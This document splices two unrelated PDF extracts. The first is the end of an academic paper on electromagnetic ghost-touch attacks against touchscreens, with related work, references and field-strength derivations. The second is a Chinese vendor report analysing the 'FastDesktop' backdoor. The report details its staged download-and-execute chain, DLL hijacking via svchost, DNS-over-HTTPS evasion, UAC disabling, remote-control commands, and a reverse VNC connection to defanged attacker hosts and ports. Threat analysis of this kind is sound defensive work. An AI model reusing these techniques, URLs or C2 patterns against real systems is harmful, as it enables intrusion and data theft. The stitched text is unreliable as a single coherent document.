range) IEMI. Selvaraj et al. [36] further expanded this attack
and demonstrated that small circuits (i.e., embedded systems)
are vulnerable to low frequency IEMI with proper coupling.
Kennedy et al. also studied how IEMI can be used to create
interference on the analog voltage input port of an Analog to
Digital Converter [37].
Kune et al. conducted comprehensive analysis of IEMI
attacks against analog sensors and demonstrated IEMI attacks
on cardiac medical devices by remotely injecting forged
signals [33] that cause pacing inhibition and defibrillation.
In this paper, the authors also demonstrated how to inject
audio signals on microphones remotely and proposed digital
mitigations to verify and clean the input signal. Kasmi and
Esteves [34], [35] exploited the voice assistant on smart phones
to perform remote inaudible command injection attacks against
smartphone headphone cables using fine tuned EM signals.
B. Touchscreen Attacks
Various attacks targeting touchscreens have been presented
in the past. These attacks are primarily focused on passive
information exfiltration, e.g., displayed content, via different
carriers including microphone [8], EM [7] or mmWave sig-
nal [9]. In addition, only two papers [11], [12] are published
to perform active touchscreen attack using IEMI. Maruyama
et al. [11] presented Tap’n Ghost, a new class of active attack
against capacitive touchscreens, which leverages an injected
noise signal and programmed NFC tag to force a victim mobile
device to perform unintended operations. However, this attack
can only be conducted along with user touches due to the
skewed spatial distribution. On the contrary, our touchscreen
IEMI attack can cause intentional ghost touches on a capacitive
touchscreen without any user interaction. A recent touchscreen
attack, Ghosttouch
[12], similarly used EMFI to inject taps
and row/column based swipe gestures. Although the attack is
more advanced than Tap’n Ghost, it relies on detecting the
correct driving signal from the touchscreen and synchronizing
it with IEMI signal to induce accurate touch events. However,
we find that the driving mechanism is significantly different
on different smartphones, which makes the attack less feasible
in a real attack scenario. As shown in Appendix Figure A-1,
the measured driving signal from five different touchscreen
devices are entirely different. The Nexus 5X smartphone used
in Ghosttouch shows a clear synchronization pattern. On the
other hand, other smartphones use a parallel driving mecha-
nism which is difficult to synchronize with. Ghosttouch works
well on sequential driving based touchscreens. Unfortunately
this is no longer a popular option for the most recently released
touchscreens. Furthermore, Ghosttouch is limited to either col-
umn or row based swipe gestures due to the synchronization.
Our attack does not need to perform synchronization, nor rely
on a specific type of driving mechanism to inject stable short-
tap, long-press, and omni-directional-swipe touch events to
realize practical attacks.
XII. CONCLUSIONS AND FUTURE WORK
In this paper, we first developed theory for a novel IEMI
attack on modern capacitive touchscreens to generate ghost
touches. The theory was then validated in both simulations
and experimental demonstrations. We identify that such a
vulnerability exists in almost all capacitive touchscreen-based
devices under radiated IEMI attacks. The mechanism of the
induced ghost touches cause is analyzed based on the operating
principle of touch sensing. The critical field strength that can
generate ghost touches is calculated, along with the critical
frequencies at which the touchscreens are more vulnerable to
IEMI attacks. The IEMI attack is successfully demonstrated
on a series of commercial touchscreens of laptop, smartphone,
and tablets under various attack scenarios. We elaborate on the
features affecting our IEMI attack, including table material, ta-
ble thickness, phone locations, and antenna interference. Using
our antenna array, screen locator, and touch event detector,
we design and evaluate the first end-to-end touchscreen attack
in real scenarios. We address several limitations presented in
previous touchscreen attacks. We further evaluate the proposed
countermeasures against our attack.
In the future, we plan to increase our attack distance and
attack accuracy by using different antenna designs, i.e., longer
waveguide (copper needle), far-field phased array antenna, and
Yagi-Uda (directional) antenna. We plan to evaluate phased
array antenna and Yagi-Uda antenna to programmatically
generate the focused E field from far so that we can address
the current table thickness limitation. On the other side, phased
array antenna and Yagi-Uda antenna can carry significant im-
plementation challenges compared to a copper needle antenna.
XIII. ACKNOWLEDGMENT
We genuinely appreciate the reviewers for all their construc-
tive suggestions. This work is supported by National Institute
of Standards and Technology, Intel and National Science
Foundation under award number 1818500.
REFERENCES
[1] T. Wang and T. Blankenship, ªProjected-capacitive touch systems from
the controller point of view,º Information Display, vol. 27, no. 3, pp.
8±11, 2011.
[2] L. Cai and H. Chen, ªTouchlogger: Inferring keystrokes on touch screen
from smartphone motion.º HotSec, vol. 11, no. 2011, p. 9, 2011.
[3] A. J. Aviv, B. Sapp, M. Blaze, and J. M. Smith, ªPracticality of
accelerometer side channels on smartphones,º in Proceedings of the
28th annual computer security applications conference.
New York,
NY, USA: Association for Computing Machinery, 2012, pp. 41±50.
[Online]. Available: https://doi.org/10.1145/2420950.2420957
[4] E. Owusu, J. Han, S. Das, A. Perrig, and J. Zhang, ªAccessory: password
inference using accelerometers on smartphones,º in proceedings of the
twelfth workshop on mobile computing systems & applications.
San
Diego, California, USA: Association for Computing Machinery, 2012,
pp. 1±6.
[5] Z. Xu, K. Bai, and S. Zhu, ªTaplogger: Inferring user inputs
on smartphone touchscreens using on-board motion sensors,º in
Proceedings of the fifth ACM conference on Security and Privacy in
Wireless and Mobile Networks.
New York, NY, USA: Association
for Computing Machinery, 2012, pp. 113±124. [Online]. Available:
https://doi.org/10.1145/2185448.2185465
[6] E. Miluzzo, A. Varshavsky, S. Balakrishnan, and R. R. Choudhury,
ªTapprints: your finger taps have fingerprints,º in Proceedings of the 10th
international conference on Mobile systems, applications, and services.
New York, NY, USA: Association for Computing Machinery, 2012, pp.
323±336. [Online]. Available: https://doi.org/10.1145/2307636.2307666
[7] Y. Hayashi, N. Homma, M. Miura, T. Aoki, and H. Sone, ªA threat
for tablet pcs in public space: Remote visualization of screen images
using em emanation,º in Proceedings of the 2014 ACM SIGSAC
Conference on Computer and Communications Security.
New York,
NY, USA: Association for Computing Machinery, 2014. [Online].
Available: https://doi.org/10.1145/2660267.2660292
[8] D. Genkin, M. Pattani, R. Schuster, and E. Tromer, ªSynesthesia:
Detecting screen content via remote acoustic side channels,º in 2019
IEEE Symposium on Security and Privacy (SP).
San Francisco, CA,
USA: IEEE, 2019, pp. 853±869.
[9] Z. Li, F. Ma, A. S. Rathore, Z. Yang, B. Chen, L. Su, and W. Xu,
ªWavespy: Remote and through-wall screen attack via mmwave sens-
ing,º in 2020 IEEE Symposium on Security and Privacy (SP).
San
Francisco, CA, USA: IEEE, 2020, pp. 217±232.
[10] S. Maruyama, S. Wakabayashi, and T. Mori, ªPoster: Touchflood:
A
novel
class
of
attacks
against
capacitive
touchscreens,º
in
Proceedings of the 2017 ACM SIGSAC Conference on Computer
and Communications Security.
New York, NY, USA: Association
for Computing Machinery, 2017, pp. 2551±2553. [Online]. Available:
https://doi.org/10.1145/3133956.3138829
[11] ÐÐ, ªTap’n ghost: A compilation of novel attack techniques against
smartphone touchscreens,º in 2019 IEEE Symposium on Security and
Privacy (SP), IEEE.
San Francisco, CA, USA: IEEE, 2019, pp. 620±
637.
[12] K. Wang, R. Mitev, C. Yan, X. Ji, A.-R. Sadeghi, and W. Xu,
ªGhostTouch: Targeted attacks on touchscreens without physical touch,º
in 31st USENIX Security Symposium (USENIX Security 22).
Boston,
MA: USENIX Association, Aug. 2022. [Online]. Available: https:
//www.usenix.org/conference/usenixsecurity22/presentation/wang-kai
[13] G. Barrett and R. Omote, ªProjected-capacitive touch technology,º
Information Display, vol. 26, no. 3, pp. 16±21, March 2010.
[14] C. Luo, M. A. Borkar, A. J. Redfern, and J. H. McClellan, ªCompressive
sensing for sparse touch detection on capacitive touch screens,º IEEE
Journal on Emerging and Selected Topics in Circuits and Systems, vol. 2,
no. 3, pp. 639±648, 2012.
[15] L. Du, ªAn overview of mobile capacitive touch technologies trends,º
arXiv preprint arXiv:1612.08227, 2016.
[16] T. Hwang, W. Cui, I. Yang, and O. Kwon, ªA highly area-efficient
controller for capacitive touch screen panel systems,º IEEE Transactions
on Consumer Electronics, vol. 56, no. 2, pp. 1115±1122, 2010.
[17] Y. ichi Hayashi, N. Homma, T. Mizuki, H. Shimada, T. Aoki, H. Sone,
L. Sauvage, and J.-L. Danger, ªEfficient evaluation of em radiation
associated with information leakage from cryptographic devices,º IEEE
Transactions on Electromagnetic Compatibility, vol. 55, no. 3, pp. 555±
563, 2013.
[18] B. Oldenburg, ªThe yagi-uda antenna: An illustrated primer,º Aug 2019.
[Online]. Available: https://www.citationmachine.net/apa/cite-a-website/
new
[19] E. Savage and W. Radasky, ªOverview of the threat of iemi (intentional
electromagnetic interference),º in 2012 IEEE International Symposium
on Electromagnetic Compatibility.
Pittsburgh, PA, USA: IEEE, 2012,
pp. 317±322.
[20] The
Chromium
Projects,
ªTouch
Firmware
Tests,º
https://www.
chromium.org/for-testers/touch-firmware-tests, Apirl 2015, online; ac-
cessed 29 April 2021.
[21] M. G. A. Mohamed, K. Cho, and H. Kim, ªFrequency selection con-
current sensing technique for high-performance touch screens,º Journal
of Display Technology, vol. 12, no. 11, pp. 1433±1443, Nov 2016.
[22] I. ANSYS, ªAnsys hfss Ð 3d high frequency simulation software,º Aug
2021. [Online]. Available: https://www.ansys.com/products/electronics/
ansys-hfss
[23] Y. Zhang, S. Wang, and Y. Chu, ªInvestigation of radiated electromag-
netic interference for an isolated high-frequency dc±dc power converter
with power cables,º IEEE Transactions on Power Electronics, vol. 34,
no. 10, pp. 9632±9643, 2019.
[24] IKEA, ªTable desk systems for home office workspace.º [Online].
Available: https://www.ikea.com/us/en/cat/table-desk-systems-47423/
[25] O. Depot, ªConference tables Ð office depot officemax.º [Online].
Available: https://www.officedepot.com/a/browse/conference-tables/N=
5+501913/
[26] Wayfair, ªConference tables.º [Online]. Available: https://www.wayfair.
com/meeting-collaborative-spaces/sb0/conference-tables-c251667.html
[27] Microchip, MTCH6303 Projected Capacitive Touch Controller Data
Sheet, Mar 2005. [Online]. Available: https://ww1.microchip.com/
downloads/en/DeviceDoc/40001803A.pdf
[28] riscure, ªXyz stage (for em probe, em-fi or compact laser) Ð
riscure.com.º [Online]. Available: https://getquote.riscure.com/en/quote/
2101124/xyz-stage-for-em-probe-em-fi-or-compact-laser.htm
[29] Keysight,
ªArticulated
robotic
near-field
electro-
magnetic
scanning
system.º
[Online].
Available:
https://www.keysight.com/zz/en/lib/resources/solution-briefs/
articulated-robotic-nearfield-electromagnetic-scanning-system-2429894.
html
[30] Samsung, ªTOUCH CONTROLLER A552,º https://www.samsung.com/
semiconductor/display-ic/touch-controller/A552/, Apirl 2021, online;
accessed 04 May 2021.
[31] Daniel
T.
DeBaun,
ªSmartphone
privacy:
How
to
keep
your
information
safe,º
https://www.defendershield.com/
smartphone-privacy-how-keep-your-information-safe,
Apirl
2021,
online; accessed 04 May 2021.
[32] L. Francis, G. Hancke, K. Mayes, and K. Markantonakis, ªPotential
misuse of nfc enabled mobile phones with embedded security elements
as contactless attack platforms,º in 2009 International Conference for
Internet Technology and Secured Transactions, (ICITST).
Pittsburgh,
PA, USA: IEEE, 2009, pp. 1±8.
[33] D. F. Kune, J. Backes, S. S. Clark, D. Kramer, M. Reynolds, K. Fu,
Y. Kim, and W. Xu, ªGhost talk: Mitigating emi signal injection attacks
against analog sensors,º in 2013 IEEE Symposium on Security and
Privacy, IEEE.
Berkeley, CA, USA: IEEE, 2013, pp. 145±159.
[34] C. Kasmi and J. Lopes Esteves, ªIemi threats for information security:
Remote command injection on modern smartphones,º IEEE Transac-
tions on Electromagnetic Compatibility, vol. 57, no. 6, pp. 1752±1755,
2015.
[35] J. L. Esteves and C. Kasmi, ªRemote and silent voice command
injection on a smartphone through conducted iemi: Threats of smart
iemi for information security,º Wireless Security Lab, French Network
and Information Security Agency (ANSSI), Tech. Rep, 2018.
[36] J. Selvaraj, G. Y. Dayanıklı, N. P. Gaunkar, D. Ware, R. M. Gerdes,
and M. Mina, ªElectromagnetic induction attacks against embedded
systems,º in Proceedings of the 2018 on Asia Conference on Computer
and Communications Security, ser. ASIACCS ’18.
New York, NY,
USA: Association for Computing Machinery, 2018, p. 499±510.
[Online]. Available: https://doi.org/10.1145/3196494.3196556
[37] S. Kennedy, M. R. Yuce, and J.-M. Redoute, ªSusceptibility of flash adcs
to electromagnetic interference,º Microelectronics Reliability, vol. 81,
pp. 218±225, 2018.
[38] J. Delsing, J. Ekman, J. Johansson, S. Sundberg, M. Backstrom, and
T. Nilsson, ªSusceptibility of sensor networks to intentional electro-
magnetic interference,º in 2006 17th International Zurich Symposium
on Electromagnetic Compatibility.
Singapore: IEEE, 2006, pp. 172±
175.
[39] A. Richelli, L. Colalongo, and Z. M. KovÂacs-Vajna, ªAnalog ics for
automotive under emi attack,º in 2019 AEIT International Annual
Conference (AEIT), IEEE.
Florence, Italy: IEEE, 2019, pp. 1±6.
[40] G. Y. Dayanikli, R. R. Hatch, R. M. Gerdes, H. Wang, and R. Zane,
ªElectromagnetic sensor and actuator attacks on power converters for
electric vehicles,º in 2020 IEEE Security and Privacy Workshops (SPW),
IEEE.
San Francisco, CA, USA: IEEE, 2020, pp. 98±103.
APPENDIX
A. The scanning mechanism of touchscreens
As we explained in Section VIII-B, there are two type
of scanning mechanism mainly used by modern touchscreen,
sequential driving method and parallel driving method. As
shown in Ghosttouch [12], this most recent touchscreen attack
relies on the synchronization of sequential driving signal
to precisely inject touch events. However, such approach
limits the attack to sequential scanning type touchscreen. As
illustrated in Figure A-1, the scanning signal from the test
devices we own are significantly different. We further find
that latest touchscreen devices commonly use parallel driving
method instead, which makes the synchronization based attack
no longer feasible. Even with the sequential driving method,
different type of touchscreen can show significantly different
pattern. On the contrary, our attack does not reply on any
particular scanning method of touchscreen to work.
B. Derivation of Equations of IEMI frequency
We assume that the electric field generated by the radiated
IEMI is sinusoidal. The noise current, In in Fig. 8a, is given
as follows.
In = 2πfECMVn cos (2πfE · t + φ0)
(B-1)
where fE is the E field frequency and φ0 is the phase between
In and S2 control signal in Fig. 8b. The waveforms show the
control signal of S2 and the noise current caused by IEMI in
one period. The output voltage variation VT n caused by the
IEMI can then be calculated as follows.
VT n = −2πfECMV n
Cs
Ts
0
· cos (2πfE · t + φ0)dt
(B-2)
where Ts is the sensing time. Following (B-2), the VT n at the
end of the sensing period can be calculated as follows.
VT n = −CMV n
Cs
(sin(2πfE · Ts + φ0) − sin (φ0))
(B-3)
During the IEMI injection period, VT n is compared to the
threshold Vth. The control signal of the QT sensor is a peri-
odical signal whose frequency depends on the system clock
frequency. More specifically, the sensing time Ts depends on
the QT sensor switching frequency fsw and the duty cycle Ds.
Ts = Ds
fsw
(B-4)
When we substitute (B-4) to (B-3), we have a more precise
way to compute the VT n as shown in (B-5).
VT n = −CMV n
Cs
sin
2π · Ds · fE
fsw
+ φ0
− sin (φ0)
(B-5)
From (B-5), it is clear that VT n depends on the ratio of the
IEMI signal frequency over the QT sensor operating frequency.
The higher |VT n| is, the more significant the IEMI impact.
Based on this observation, we can conclude that the minimum
interference occurs at fEmin, which can be calculated as
follows.
fEmin = kfsw
Ds
k = 0, 1, 2, 3, . . .
(B-6)
where k is an integer. When fE = fEmin, VT n in (B-5)
is always zero, which indicates that there is no interference.
The maximum interference, on the other hand, depends on the
frequency of the IEMI signal as well as the phase shift φ0.
With the analysis in Section IV-D, we know that the output
voltage of QT sensor is usually compared with the threshold
voltage every few clock cycles. So combining (8) and (B-5),
the sum of output voltage variation of M cycles, VT nM, is
given as follows.
VT nM = −CMVn
Cs
M
0
(sin(2πfE · Ts + φM) − sin (φM))
(B-7)
where φM can be calculated in (B-8).
φM = φ0 + 2πM · fE
fsw
(B-8)
Based on (B-7) and (B-8), we can calculate fE so that the
initial phase shift between In and S2 control signal remains
constant in each sensing duty cycle (see Fig. 8 (b)). The
calculation of fE is shown below.
fE = nfsw
n = 0, 1, 2, 3, . . .
(B-9)
C. Derivation of Equations of IEMI Field Strength
A more detailed characterization of the E field interference
is presented as follows. In Fig. 6a, EZ is the z component
of the external E field, which generates voltage Vn across the
touch screen electrodes. Vn can be calculated in (C-10).
Vn =
EZ · dl = EZ · d
(C-10)
where d is the distance between the electrodes. The charges
(Qn) caused by the external E field can be derived as follows.
Qn = Vn · CM
(C-11)
where CM represents the mutual capacitance between the
electrodes. It can be computed in (C-12).
CM = ε0εr
A
d
(C-12)
-5
0
5
(a)
-2
0
2
(b)
-2
0
2
(c)
-2
0
2
(d)
0
5
10
15
20
25
30
Time (ms)
-2
0
2
(e)
Voltage (mV)
Fig. A-1: Scanning signal of different touchscreen devices (a) iPad Pro 2020 (b) iPhone 11 Pro (c) Oneplus 7 Pro (d) Pixel 2 (e) Nexus 5X
where ε0 is the permittivity of the free space and εr is the
relative permittivity of the adhesive layer. A is the overlap
area of the electrodes. From (C-10) ± (C-12), we can derive
EZ, the z component of the external E field.
EZ =
Qn
ε0 · εr · A =
VnCM
ε0 · εr · A
(C-13)
Based on superposition theory, the voltage VcN which is added
to the input of the integrator in Fig. 6b can be computed as
follows.
VcN = Vc + Vn
(C-14)
where Vc is the voltage of CM due to Vin. The output voltage,
VoN, under the external E field’s interference is, therefore, as
follows.
VoN = −CM
Cs
(Vc + Vn) = Vo + VT n
(C-15) | pdf |
瑞星公司
FastDesktop 后门分析报告
报告贡献者:XywCloud、白同桌、花茶
北京瑞星网安技术股份有限公司
北京瑞星网安技术股份有限公司
1
概述
瑞星威胁情报平台于 2022 年 3 月通过部署在 VirusTotal 上的瑞星扫描器搭载的机器学习引擎捕获
到了数个检出率较低的.NET 恶意程序。
图:其中一个文件的 VirusTotal 初次扫描结果
经分析溯源,我们将这批恶意程序与相关的组件定性为后门,并将其命名为"FastDesktop"。
在分析过程中我们还发现该后门有两个大版本,为便于区分,将其分别命名为 v1 和 v2 版。两个版
本的使用到的攻击技术及基础设施基本相同,只是攻击流程有所区别,本报告的样本分析章节将以
v2 版的样本分析为主,之后会对 v1 版和 v2 版作简单的对比分析。
整套样本使用了多种免杀技术,相关技术也会在之后的章节进行介绍。
攻击流程及样本分析
攻击流程
北京瑞星网安技术股份有限公司
2
图:v1 版攻击流程
图:v2 版攻击流程
样本分析
初始样本
样本基本信息
文件名
备用注册卡密.exe
MD5
BBBC3919B71F50FBF6939088B7B7FD9E
文件大小
10.50 KB
文件类型
EXE
病毒名
Backdoor.FastDesktop!1.DD2A
表:备用注册卡密.exe 样本基本信息
代码分析
该样本为整个攻击链条上的初始样本,执行主要恶意行为的代码位于函数 entry,此函数负责下载并
执 行 下 阶 段 的 恶 意 样 本 , 其 中 特 别 需 要 注 意 的 是 下 载 链 接 格 式 为
"http[:]//asbit[.]cn/setup.core?t=%x",其中参数 t 的值为调用系统 API 函数获取的本地计算机
启动时间,攻击行动中的下载链接会随着时间不同而产生动态变化,以此改变文件的 Hash 值。在后
续攻击流程的其他阶段中都会使用此方法,相关内容将会在之后的章节进行介绍。
北京瑞星网安技术股份有限公司
3
图:初始样本 entry 函数代码
根据下载链接的地址,下载的恶意样本被命名为 setup.core.dll。
setup.core.dll
样本基本信息
文件名
setup.core.dll
MD5
DA0A5953C6EE6AE87022BA39FC4D8C74
文件大小
36.50 KB
文件类型
DLL
病毒名
Backdoor.FastDesktop!1.DCA0
表:setup.core.dll 样本基本信息
该样本主要功能除了下载下阶段模块样本之外,还需要执行其他操作,比如创建相关服务以实现持
久化,并通过启动服务的方式执行下载的恶意样本。
代码分析
首先获取存放下载文件的本地路径,其中下载文件存放的目录名是本地电脑名的 CRC32 校验值。
北京瑞星网安技术股份有限公司
4
图:获取下载文件存放路径
其次判断传入参数中是否包含字符串"uninstall",包含此字符串则进行后门卸载操作,删除相关服
务及目录。
图:删除相关服务及目录
最后如果参数中不包含"uninstall"字符串,则执行样本的主要恶意功能:下载文件并释放本地、创
建并启动服务、设置注册表项等功能。
图:主要功能代码
下载地址的格式为"http[:]//asbit[.]cn/zipack/full?t=%x",参数 t 的值是 GetTickCount 函数获
取的本地计算机启动时间。通过读取数据流的方式,将从服务器读取的数据存放于内存中,然后将
内存中的数据进行解压写入本地目录中。
北京瑞星网安技术股份有限公司
5
图:下载数据代码
图:读
取的数据流
释放于本地目录的下载文件:
图:被下载的文件
在被下载的文件中,fdsvc.dll 和 libexpat.dll 是在后续代码中需要用到的程序。根据文件的版本
信息可知,两个文件均为迅雷公司的库文件,其中 fdsvc.dll 为白名单文件,版本信息显示文件的
真实名称为:XLServicePlatform.dll,而 libexpat.dll 则是攻击者伪造的恶意程序。
北京瑞星网安技术股份有限公司
6
图:fdsvc.dll 版本信息
服务创建并设置自启动,该服务的启动路径为本地的 svchost.exe 程序,相关代码如下图:
图:创建服务并设置自启动
服务创建成功后,通过创建注册表项来设置服务对应的动态链接库。
图:创建注册表项
其结果如下图:
北京瑞星网安技术股份有限公司
7
图:创建的服务
图:服务启动的注册表项
svchost.exe 启动服务时,会动态加载服务注册表项中指向的文件,虽然该文件是迅雷公司的正常文
件,但攻击者通过伪造其导入表中的 libexpat.dll,实现了 DLL 劫持,将恶意样本挂载到 svchost.exe
程序进行执行。
程序运行最后会有一个安装成功弹框,我们推测此处是否出现弹框可在生成被控端时进行控制(将
在后续章节进行介绍),如下图:
北京瑞星网安技术股份有限公司
8
图:安装成功消息框
libexpat.dll
样本基本信息
文件名
libexpat.dll
MD5
7CF6325A5213738148F7315044CCAF98
文件大小
80.0 KB
文件类型
DLL
病毒名
Backdoor.FastDesktop!1.DCA2
表:libexpat.dll 样本基本信息
代码分析
该模块样本功能较为简单,负责下载并执行下一阶段的恶意样本。样本首先会判断父进程是否为
svchost.exe,由上面的分析可知,该样本按照正常的攻击流程应该是由 svchost.exe 加载执行的,
此处是一个简易的环境检测手段。
图:判断父进程是否为 svchost.exe
根据系统的.NET 版本加载 CLR,并获取 ICLRRuntimeHost 接口指针。
图:加载 CLR 版本
拼接完整 URL,下载恶意程序并调用 ICLRRuntimeHost:: ExecuteInDefaultAppDomain 方法执行下
载的恶意程序。
北京瑞星网安技术股份有限公司
9
图:下载并执行 payload
其中用于下载的完整 URL 由三部分组成,其中第一部分为域名,代码中以明文方式给出,分别为:
mitm[.]work
fmt[.]ink
第三部分字符串由下载文件的存放路径加一段字符串组成,然后通过本地计算得出一个数字,计算
函数如下:
图:计算 URL 部分组成字符串
第二部分则是由获取的本地 CLR 的版本号加上前面计算得出的第三部分数值,然后经过同样的计算
函数得出的数值,这三部分字符串最终组成完整的下载地址。所以,下载地址会根据入侵主机而有
所改变。
图:完整下载地址
下载的恶意程序为下阶段模块样本 system.dll。
北京瑞星网安技术股份有限公司
10
system.dll
样本基本信息
文件名
system.dll
MD5
B2675490E5906EFDC8B43EBBDDDA95F3
文件大小
7.50 KB
文件类型
.NET DLL
病毒名
Backdoor.FastDesktop!1.DCA4
表:system.dll 样本基本信息
代码分析
样本的入口函数中,首先会调用本地的 regasm.exe,并传入参数"/u",此参数的功能是调用
regasm.exe
执 行 注 销 操 作 。 进 程 启 动 后 会 去 主 动 执 行 恶 意 样 本 中 自 定 义 的
ComUnregisterFunctionAttribute 类的方法,而该方法则负责执行实际的恶意行为。
图:调用本地的 Regasm.exe 程序
恶 意 样 本 的
Unregister
方 法 , 负 责 下 载 下 阶 段 模 块 恶 意 样 本 , 下 载 链 接 格 式
为:”{0}/loader.core?version={1}&_={2}”,根据下载链接中相关字段,下载样本被命名为
loader.core.dll。其中:
{0}:通过 DoH.File_Server 方法获取
{1}:本地.NET 版本号
{2}:本地计算机启动时间
图:Unregister 方法代码
北京瑞星网安技术股份有限公司
11
DoH.File_Server 方法通过调用方法 DoH.Query 获取下载恶意载荷的 IP 地址,如果获取成功,则根
据 IP 地址返回格式化的 URL。否则返回默认的地址:http[:]//asbit[.]cn。
图:DoH.File_Server 方法代码
DoH.Query 方法中通过向阿里云公共 DNS 解析服务发送 HTTP 请求来完成域名到 IP 地址的转换,使
得被攻击方无法在自己部署的 DNS 服务器上通过拦截指定域名的解析来对远控行为进行阻断。使用
的 URL 接口为"http://dns.alidns.com/resolve"。查询的域名以参数形式传递给该接口,这里攻击
者提供了两个域名,分别是:
ddns[.]frd[.]ink
ddns[.]fmt[.]ink
图:DoH.Query 方法代码
北京瑞星网安技术股份有限公司
12
图:解析结果
loader.core.dll
样本基本信息
文件名
loader.core.dll
MD5
AA3045BE0C28C50BAF8F024386C650AA
文件大小
16.0KB
文件类型
.NET DLL
病毒名
Backdoor.FastDesktop!1.DCA5
表:loader.core.dll 样本基本信息
代码分析
根据对前置样本的代码分析可知,该模块样本被调用的入口方法为 Class.Entry,并且传入了一个参
数 , 其 代 码 如 下 图 。 从 图 中 代 码 可 知 , 样 本 的 主 要 功 能 集 中 在 Class.ParentProcess 和
Class.SubProcess 两部分。由于参数不符合条件,所以程序会先跳过执行 Class.SubProcess 方法。
禁用本地 UAC 后,执行 Class.ParentProcess 方法。
图:entry 方法代码
ParentProcess 方法:首先更改自身进程中运行的服务配置,改为系统启动时自动运行服务。
北京瑞星网安技术股份有限公司
13
图:启动服务
接着代码调用自定义的方法 Win32Interop.CreateProcessAsToken,并传入参数,其中参数二为后续
进程执行的命令行字符粗,字段 text 为恶意样本自身的路径。
图:创建新进程的参数
Win32Interop.CreateProcessAsToken 方法代码如下图所示,此时恶意程序向新创建的进程传入了
两个参数,其中为 t.GUID.ToString("N"),符合判断要求,所以程序被创建子进程执行时,会执行
SubProcess 方法。
图:创建新的子进程
SubProcess 方法:该方法功能简单只负责下载执行下阶段模块样本,下载链接的获取方式与前一个
模块 system.dll 的方式相同。
北京瑞星网安技术股份有限公司
14
图:下载并调用执行下阶段模块样本
下载链接格式为:"{0}/assembly/core?version={1}&_={2}"
{0}:DoH.File_Server -> DoH 协议解析域名
{1}:Environment.Version.ToString(3)
-> .NET 版本号的前 3 个字符
{2}:Environment.TickCount -> 本机启动时间
至此开始执行下阶段样本,根据下载链接以及版本信息将该模块文件命名为 core.dll。
core.dll
样本基本信息
文件名
core.dll
MD5
E33A299C1FE0B0717923BBC2EACBA5E6
文件大小
100.0 KB
文件类型
.NET DLL
病毒名
Backdoor.FastDesktop!1.DCA6
表:core.dll 样本基本信息
代码分析
Entry 函数运行后启动一个死循环的线程。
图:相关代码
在 Settings 类成员变量硬写了要建立连接的两个域名,如下图:
北京瑞星网安技术股份有限公司
15
图:域名列表
OnClose 执行后将使用域名中的 team.service.fmt[.]ink:5000。
图:开始建立连接
在建立连接后启动一个新的线程 ReceiveCallback 接受客户端下发的指令并执行相关行为。
北京瑞星网安技术股份有限公司
16
图:建立连接
在 ReceiveCallback 中,base.read_data 是通过 Receive 接受来自客户端的数据包, 然后通过创建
新线程将来自客户端的信息代入线程参数,最终通过调用 OnMessage 函数进入到程序的消息循环中。
北京瑞星网安技术股份有限公司
17
图:接受客户端消息处理
由 OnMessage 响应客户端程序下发的消息通过 switch-case 分支处理木马的主要功能包括:发送桌
面截屏、执行下载文件、发送剪切板的内容等。
指令
功能
176
发送桌面截屏
177
模拟鼠标移动
178
模拟鼠标点击操作
179
模拟虚拟按键
180
执行下载的任意文件
181
发送进程信息
182
暂无
183
启动屏幕虚拟键盘
184
发送剪切板的内容
表:指令功能表
发送截屏功能。如果截取屏幕图像失败,则通过绘制返回一个含有字符串信息的图像,字符串为
"Screen is locked until the remote user unlock this window"代表用户屏幕图像目前处于不可
获取的状态。如果截取成功则以 JPEG 形式暂存在内存流中。
北京瑞星网安技术股份有限公司
18
图:截屏函数
将截取的屏幕图像通过 ZLIB 压缩图像传送到客户端。
北京瑞星网安技术股份有限公司
19
图:屏幕图像截取功能
移动鼠标到任意坐标下。
图:模拟鼠标移动
模拟鼠标点击操作,主要是按压和松开的操作行为。
图:模拟鼠标点击
模拟虚拟按键。
图:模拟虚拟按键
图:方法代码
接受来自客户端的数据并通过字段"name"和"data"解析出需要下载文件的名称和内容,然后将下载
文件释放到本地临时目录下,从代码分析中可知,程序通过调用 Process 的 Start 方法启动下载文
件。
北京瑞星网安技术股份有限公司
20
图:任意文件下载执行
遍历系统中活动进程,程序将本地进程的 ID、进程名、进程路径信息等收集并发送到客户端,如果
客户端给定了进程的 PID 则终止该目标进程。
图:活动进程查询与终止特定进程
通过执行 osk.exe 程序,开启系统的屏幕键盘功能。
图:打开虚拟键盘
如果当前剪贴板不为空,获取当前剪贴板的内容并发送给客户端进程。
北京瑞星网安技术股份有限公司
21
图:监控剪贴板
OnMessage 执行结束前,程序会判断客户端数据包 data 中是否还有数据未处理,如果有则调用 Exec
函数执行脚本。
图:判断是否需要执行脚本
在 Exec 函数里编译 data 数据,通过 Invoke 调用在之后新脚本文件中的 Entry 入口函数, 如果执行
成功向客户端则设置字符串为"脚本执行成功"。
图:执行脚本程序
在调用 OnOpen 后, 通过 cmd.exe 程序关闭正在执行的 RegAsm.exe 程序,防止接下来读取程序集数
北京瑞星网安技术股份有限公司
22
据失败。接着调用 Invoke 方法查询系统资源信息。
图:清理 RegAsm.exe 及调用 Invoke
恶意程序通过从本地注册表以及 WMI 获取系统信息,然后发送给远程服务器。
注册表项如下,获取本地 CPU 信息:
HKLM\HARDWARE\DESCRIPTION\System\Central Processor\0
通过下面的 WMI 的属性获取相关本地信息:
Win32_VideoControllerName
Win32_ComputerSystemProduct
Win32_OperatingSystem
Win32_OperatingSystem
图:系统信息查询
检查系统中是否有电报 Telegram 程序。
北京瑞星网安技术股份有限公司
23
图:特定程序检查
通过访问 https[:]//2022.ip138[.]com 查询本地 IP 地址以及归属地。
图:IP 归属地查询
除此之外可能通过 Action 执行另一个 OnMessage 函数,可被称为 RequestOnMessage。从客户端数据
包解析 action 数据作为指定的请求头, 多态调用 Invoke 接口建立特定的连接。
图:调用请求头的方式
建立 VNC 连接。RequestVNCHandler 建立一个 VNC 的连接。
北京瑞星网安技术股份有限公司
24
图:建立一个 VNC 连接
这个过程将会访问到指定位置的文件下载服务器:
ddns.frd[.]ink
ddns.fmt[.]ink
如果文件下载服务器验证失败则直接使用 http[:]//asbit[.]cn
图:文件下载服务器
通过上面的下载服务器直接将文件 winvnc.exe.gz 和 UltraVNC.ini.gz 下载到本地,同时执行 VNC
并传递特定参数建立连接,参数格式为"-autoreconnect ID:{0} –connect {1}:5500 –run"。
北京瑞星网安技术股份有限公司
25
图:启动 VNC 连接
建立 P2P 连接。使用 nats.service.fmt[.]ink:5053 连接到客户端程序,在建立连接后创建线程执
行 ReceiveCallback 去调用 OnMessage 处理客户端的指令消息。
图:建立 P2P 连接
